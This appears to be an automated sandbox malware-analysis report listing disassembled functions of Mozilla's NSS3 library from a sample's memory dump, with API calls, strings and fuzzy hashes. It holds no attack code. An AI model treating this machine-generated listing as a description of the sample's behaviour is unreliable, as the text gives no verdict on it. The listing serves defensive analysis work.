Part of subcall function 6CE684C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE68528

Part of subcall function 6CE68900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CE5F599,?,00000000), ref: 6CE68955

Strings

*, xrefs: 6CE5F3C6
", xrefs: 6CE5F21B
oid., xrefs: 6CE5F2CF

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 53c3bf4b4c256313d20bba1229540eed151fd12479693409e71d2bed8f0784dc
Instruction ID: bfebf67d084d0fa30807d535418f64337c0479972826c0158f4d241c63121990
Opcode Fuzzy Hash: 53c3bf4b4c256313d20bba1229540eed151fd12479693409e71d2bed8f0784dc
Instruction Fuzzy Hash: 43224A7160C3508BD710CE28C49076AB7F6AB8531CFB84A2EE49587B95E77B9C16C783

Function 6CE01C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE01D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE01EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CE01FB7

Strings

sqlite_master, xrefs: 6CE01C61
sqlite_temp_master, xrefs: 6CE01C5C
unsupported file format, xrefs: 6CE02188
no more rows available, xrefs: 6CE02264
table, xrefs: 6CE01C8B
attached databases must use the same text encoding as main database, xrefs: 6CE020CA
another row available, xrefs: 6CE02287
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CE01F83
abort due to ROLLBACK, xrefs: 6CE02223
unknown error, xrefs: 6CE02291

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: ace9437599a8fd6a1d05fc634f9671a6611c3714f3e70a605acc0d5dd13b288f
Instruction ID: 67b3d4f9cf47f0e5bfdd37e40842a97182dba9fef2b7dcaacc903dd7bd688302
Opcode Fuzzy Hash: ace9437599a8fd6a1d05fc634f9671a6611c3714f3e70a605acc0d5dd13b288f
Instruction Fuzzy Hash: 7B129A707083019FD705CF59C08465AB7F2BF9931CF29896DE8898BB52D731E85ACB92

Function 6CECEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CECC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CECDAE2,?), ref: 6CECC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CECF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CECF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CECF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CECF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CF9218C), ref: 6CECF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CECF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CECF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CECF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CECF210

Part of subcall function 6CE752D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CECF1E9,?,00000000,?,?), ref: 6CE752F5
Part of subcall function 6CE752D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CE7530F
Part of subcall function 6CE752D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CE75326
Part of subcall function 6CE752D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CECF1E9,?,00000000,?,?), ref: 6CE75340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CECF227

Part of subcall function 6CEBFAB0: free.MOZGLUE(?,-00000001,?,?,6CE5F673,00000000,00000000), ref: 6CEBFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CECF23E

Part of subcall function 6CEBBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE6E708,00000000,00000000,00000004,00000000), ref: 6CEBBE6A
Part of subcall function 6CEBBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE704DC,?), ref: 6CEBBE7E
Part of subcall function 6CEBBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEBBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CECF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CECF3A8

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CECF3B3

Part of subcall function 6CE72D20: PK11_DestroyObject.NSS3(?,?), ref: 6CE72D3C
Part of subcall function 6CE72D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE72D5F

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: cd0e2a14a92e547fec5126d8c931f9a385909e9ea47a11c513920c6643450b80
Instruction ID: 20284df35df9f2eb4f47bb8b023c3847ffc2d9652a9bc8f297c02690f1787c9b
Opcode Fuzzy Hash: cd0e2a14a92e547fec5126d8c931f9a385909e9ea47a11c513920c6643450b80
Instruction Fuzzy Hash: F2D17FB6F012059FDB14CF99DA80A9EB7F5EF4830CF258029D925A7711E735E806CB51

Function 6CEAA9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CEAA9CA

Part of subcall function 6CEC0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE687ED,00000800,6CE5EF74,00000000), ref: 6CEC1000
Part of subcall function 6CEC0FF0: PR_NewLock.NSS3(?,00000800,6CE5EF74,00000000), ref: 6CEC1016
Part of subcall function 6CEC0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE687ED,00000008,?,00000800,6CE5EF74,00000000), ref: 6CEC102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CFC0B04,?), ref: 6CEAA9F7

Part of subcall function 6CEBB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF918D0,?), ref: 6CEBB095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CEAAA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEAAA33
PK11_GetInternalKeySlot.NSS3 ref: 6CEAAA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6CEAAA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6CEAAAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6CEAAB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEAAB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6CEAAB85
PK11_FreeSymKey.NSS3(00000000), ref: 6CEAAB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CEAABDC
PK11_FreeSymKey.NSS3(?), ref: 6CEAABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEAABF7

Part of subcall function 6CEAAC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CEAAB3E,?,?,?), ref: 6CEAAC35
Part of subcall function 6CEAAC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CEAAB3E,?,?,?), ref: 6CEAAC55
Part of subcall function 6CEAAC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CEAAB3E,?,?), ref: 6CEAAC70
Part of subcall function 6CEAAC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CEAAC92
Part of subcall function 6CEAAC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEAAB3E), ref: 6CEAACD7

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: b81b094373b6ec4565e2e0a15f9e67c04038151a8a8e5f253cfec188f1f3e199
Instruction ID: 3900ef8eee96409fb65f672caaf4c5696645eefe61ab2cd490451bcac556e6de
Opcode Fuzzy Hash: b81b094373b6ec4565e2e0a15f9e67c04038151a8a8e5f253cfec188f1f3e199
Instruction Fuzzy Hash: E971F371A44701AFD700CFA89C80B5BB7F5AF8435CF204A2DF8649B750EB71D94A8B92

Function 6CDEECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDEED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDEEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDEEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CDEEF98

Strings

%s at line %d of [%.10s], xrefs: 6CDEF492
database corruption, xrefs: 6CDEF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDEF483

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 34120516495604f96a14a14479087d932af7fe7a851cf14f8ebb80e99148a798
Instruction ID: 5a74c8eb142bbde61156441007a3ebc6fefbeea2fe9ea3bef1e7ad4fc5e52232
Opcode Fuzzy Hash: 34120516495604f96a14a14479087d932af7fe7a851cf14f8ebb80e99148a798
Instruction Fuzzy Hash: 97620271A04245CFEB14CF64D480BAABBF1BF4D318F18419DD855ABBA2D735E886CB90

Function 6CE8FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CE8FD06

Part of subcall function 6CE8F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CE8F696
Part of subcall function 6CE8F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CE8F789
Part of subcall function 6CE8F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CE8F796
Part of subcall function 6CE8F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CE8F79F
Part of subcall function 6CE8F670: SECITEM_DupItem_Util.NSS3 ref: 6CE8F7F0

Part of subcall function 6CEB3440: PK11_GetAllTokens.NSS3 ref: 6CEB3481
Part of subcall function 6CEB3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEB34A3
Part of subcall function 6CEB3440: TlsGetValue.KERNEL32 ref: 6CEB352E
Part of subcall function 6CEB3440: EnterCriticalSection.KERNEL32(?), ref: 6CEB3542
Part of subcall function 6CEB3440: PR_Unlock.NSS3(?), ref: 6CEB355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CE8FDAD

Part of subcall function 6CEBFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE69003,?), ref: 6CEBFD91
Part of subcall function 6CEBFD80: PORT_Alloc_Util.NSS3(A4686CEC,?), ref: 6CEBFDA2
Part of subcall function 6CEBFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEC,?,?), ref: 6CEBFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE8FE00

Part of subcall function 6CEBFD80: free.MOZGLUE(00000000,?,?), ref: 6CEBFDD1

Part of subcall function 6CEAE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE8FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CE8FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CE8FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE8FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE8FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CE8FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE8FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CE90007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CE90029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE90044

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: a52b0b19084a3d61325265411ac3afd34e88a5390d4ed167326a633a6ff45be5
Instruction ID: 61a01736ef25fecc0379557a56ab8981ed98db6b7d4466359369bfdebc6eb140
Opcode Fuzzy Hash: a52b0b19084a3d61325265411ac3afd34e88a5390d4ed167326a633a6ff45be5
Instruction Fuzzy Hash: F2B1D4716052019FE304CF29C881A6AF7F5FF88318F648A1DE99D8BB41E774E945CBA1

Function 6CE87D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CE87DDC

Part of subcall function 6CEC07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE68298,?,?,?,6CE5FCE5,?), ref: 6CEC07BF
Part of subcall function 6CEC07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEC07E6
Part of subcall function 6CEC07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC081B
Part of subcall function 6CEC07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE87DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CE87F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CE87F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CE87F98
PK11_FreeSymKey.NSS3(?), ref: 6CE87FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE87FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CE88000

Part of subcall function 6CEA9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CE87F0C,?,00000000,00000000,00000000,?), ref: 6CEA943B
Part of subcall function 6CEA9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CEA946B
Part of subcall function 6CEA9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CEA9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE88110
PK11_FreeSymKey.NSS3(00000000), ref: 6CE8811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CE8822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE8823C

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: fa3af2f9b6deb4f874b9285c1e1d31dd22c9678a5f931d84490477a323e0036c
Instruction ID: dc50d44e492390c6a4afbe6a4c9793956b7a62f09486e447e489da823b132c4e
Opcode Fuzzy Hash: fa3af2f9b6deb4f874b9285c1e1d31dd22c9678a5f931d84490477a323e0036c
Instruction Fuzzy Hash: 14C18EB1D012199FEB21CF54CC40FEAB7B8AF05348F1481EAE81DA6651E7319E85CFA1

Function 6CE90EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CE90F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE90FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CE91006
PK11_FreeSymKey.NSS3(?), ref: 6CE9101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE91033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE9103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CE91048
memcpy.VCRUNTIME140(?,?,?), ref: 6CE9108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE910BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CE910D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CE9112E

Part of subcall function 6CE91570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CE908C4,?,?), ref: 6CE915B8
Part of subcall function 6CE91570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CE908C4,?,?), ref: 6CE915C1
Part of subcall function 6CE91570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9162E
Part of subcall function 6CE91570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE91637

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 8d9f209b81c4795be7325b93e35c9c01382a17e6b650028c03b02a0bc4790af1
Instruction ID: a9cb322a748a479f71a9a730f79345dfa911bd514ca515b934cc569402b23ffc
Opcode Fuzzy Hash: 8d9f209b81c4795be7325b93e35c9c01382a17e6b650028c03b02a0bc4790af1
Instruction Fuzzy Hash: 7871F0B5A002059FDB04CFA9CC81AAAB7B9BF4831CF24862DE91997711E732D945CB91

Function 6CEB1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEB1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEB2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEB228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEB23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEB241C

Strings

token, xrefs: 6CEB1F2C
model, xrefs: 6CEB23CB, 6CEB23EC
serial, xrefs: 6CEB22A2
manufacturer, xrefs: 6CEB2179

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 27da0607ba2681247f206bb1a21610def8a31c415778188d8882645f8981299b
Instruction ID: 33b89f1f9057ead552ad4d042888391fa017b3aa813932066a220554d84b1e3b
Opcode Fuzzy Hash: 27da0607ba2681247f206bb1a21610def8a31c415778188d8882645f8981299b
Instruction Fuzzy Hash: 39025D62D0CBC86EF73282B1C54D3E76AF09F5532CF28166EC59E5A783C3B859898351

Function 6CEB6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE61C6F,00000000,00000004,?,?), ref: 6CEB6C3F

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE61C6F,00000000,00000004,?,?), ref: 6CEB6C60
PR_ExplodeTime.NSS3(00000000,6CE61C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE61C6F,00000000,00000004,?,?), ref: 6CEB6C94

Strings

gfff, xrefs: 6CEB6CFD
gfff, xrefs: 6CEB6D66
gfff, xrefs: 6CEB6D9C
gfff, xrefs: 6CEB6CF5
gfff, xrefs: 6CEB6D30

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 3267be391b3135d4ff506203b0a36f49c477e3ce0f073ac92bfcea14c20fc344
Instruction ID: e168065a69b908d849849104eec7c320e0becf973fe64c3625c6e01cad1d5555
Opcode Fuzzy Hash: 3267be391b3135d4ff506203b0a36f49c477e3ce0f073ac92bfcea14c20fc344
Instruction Fuzzy Hash: D6514D72B015494FC70CCDADDC527EAB7EA9BA4310F48C23AE442DB785D638E906C751

